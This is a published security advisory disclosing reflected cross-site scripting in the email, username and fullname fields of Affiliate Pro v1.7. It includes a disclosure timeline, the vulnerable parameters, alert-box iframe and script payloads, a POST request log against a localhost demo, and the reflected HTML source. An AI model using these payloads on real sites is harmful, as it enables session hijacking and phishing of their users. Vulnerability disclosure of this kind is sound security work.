Affiliate Pro 1.7 Cross Site Scripting

`Document Title:  
===============  
Affiliate Pro v1.7 - Multiple Cross Site Vulnerabilities  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2281  
  
  
Release Date:  
=============  
2022-01-05  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2281  
  
  
Common Vulnerability Scoring System:  
====================================  
5.1  
  
  
Vulnerability Class:  
====================  
Cross Site Scripting - Non Persistent  
  
  
Current Estimated Price:  
========================  
500€ - 1.000€  
  
  
Product & Service Introduction:  
===============================  
Affiliate Pro is a Powerful and yet simple to use PHP affiliate Management System for your new or existing website. Let affiliates  
sell your products, bring you traffic or even leads and reward them with a commission. More importantly, use Affiliate Pro to track  
it intelligently to keep your affiliates happy and also your bottom line! So how does it work? It is pretty simple, when a user visits  
your website through an affiliate URL the responsible affiliate sending the traffic to you will receive a commission based on your settings.  
  
(Copy of the Homepage:https://jdwebdesigner.com/ &https://codecanyon.net/item/affiliate-pro-affiliate-management-system/12908496 )  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered multiple reflected cross site scripting web vulnerabilities in the Affiliate Pro - Affiliate Management System v1.7.  
  
  
Affected Product(s):  
====================  
jdwebdesigner  
Product: Affiliate Pro v1.7 - Affiliate Management System (PHP) (Web-Application)  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2021-08-22: Researcher Notification & Coordination (Security Researcher)  
2021-08-23: Vendor Notification (Security Department)  
2021-08-30: Vendor Response/Feedback (Security Department)  
2021-**-**: Vendor Fix/Patch (Service Developer Team)  
2021-**-**: Security Acknowledgements (Security Department)  
2022-01-05: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Authentication Type:  
====================  
Restricted Authentication (Guest Privileges)  
  
  
User Interaction:  
=================  
Low User Interaction  
  
  
Disclosure Type:  
================  
Responsible Disclosure  
  
  
Technical Details & Description:  
================================  
Multiple reflected cross site scripting web vulnerabilities has been discovered in the Affiliate Pro - Affiliate Management System v1.7.  
The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise client-site  
browser to web-application requests.  
  
The non-persistent cross site scripting web vulnerabilities are located in the `email`,`username` and `fullname` parameters of the `index` module.  
Attackers are able to inject own malicious script code to the `Fullname`,`Username` or `Email` input fields to manipulate client-side requests.  
The request method to inject is post and the attack vector is non-persistent (reflected) on client-side. The injection- and execution points are  
located in the index formular for affiliates to enter.  
  
Successful exploitation of the vulnerabilities results in session hijacking, non-persistent phishing attacks, non-persistent external redirects to  
malicious source and non-persistent manipulation of affected application modules.  
  
Request Method(s):  
[+] POST  
  
Vulnerable Module(s):  
[+] index  
  
Vulnerable Input(s):  
[+] Email  
[+] Username  
[+] Fullname  
  
Vulnerable Parameter(s):  
[+] email  
[+] username  
[+] fullname  
  
  
Proof of Concept (PoC):  
=======================  
The client-side cross site scripting web vulnerability can be exploited by remote attackers without account and with low or medium user interaction.  
For security demonstration or to reproduce the cross site scripting web vulnerability follow the provided information and steps below to continue.  
  
  
Exploitation: Payload  
<iframe src="javascript:alert(1337)"></iframe>  
%3cscript%3ealert(1337)%3c%2fscript%3  
  
  
--- PoC Session Logs (POST) ---  
POST /affiliate-pro-demo/index HTTP/1.1  
Host: affiliates-pro.localhost:8000  
Origin:http://affiliates-pro.localhost:8000  
Cookie: session_id=92b8a43b5bdf5d1c54999bfbcf702f24  
Referer:http://affiliates-pro.localhost:8000/affiliate-pro-demo/  
Content-Type: application/x-www-form-urlencoded  
Accept-Encoding: gzip, deflate  
Accept: */*  
-  
fullname=<iframe src="javascript:alert(1337)"></iframe>  
&username=<iframe src="javascript:alert(1337)"></iframe>@pwnd.coml00fp%22%3e%3cscript%3ealert(1337)%3c%2fscript%3ewkgzv  
&p=test&confirmpwd=j2B%21p5o%21K8  
-  
HTTP/1.1 200 OK  
Server: Apache  
Set-Cookie: session_id=92b8a43b5bdf5d1c54999bfbcf702f24; path=/; HttpOnly  
Connection: Upgrade, close  
Vary: Accept-Encoding  
Content-Length: 6549  
Content-Type: text/html; charset=UTF-8  
  
  
Vulnerable Source: Index  
<div class="control-group">  
<label class="control-label" for="fullname">Full Name</label>  
<div class="controls">  
<input id="textinput" name="fullname" type="text" placeholder="Full Name" class="input-xlarge" value="<iframe src="javascript:alert(1337)"></iframe>" required="required">  
</div>  
</div>  
<div class="control-group">  
<label class="control-label" for="username">Username</label>  
<div class="controls">  
<input id="textinput" name="username" type="text" placeholder="username" class="input-xlarge" value="<iframe src="javascript:alert(1337)"></iframe>" required>  
</div>  
</div>  
<div class="control-group">  
<label class="control-label" for="email">E-Mail Address</label>  
<div class="controls">  
<input id="textinput" name="email" type="email" placeholder="[email protected]" class="input-xlarge" value="<iframe src="javascript:alert(1337)"></iframe>" required>  
</div>  
  
  
Security Risk:  
==============  
The security risk of the client-side cross site scripting vulnerabilities in the web-application are estimated as medium.  
  
  
Credits & Authors:  
==================  
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab  
  
  
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=========================  
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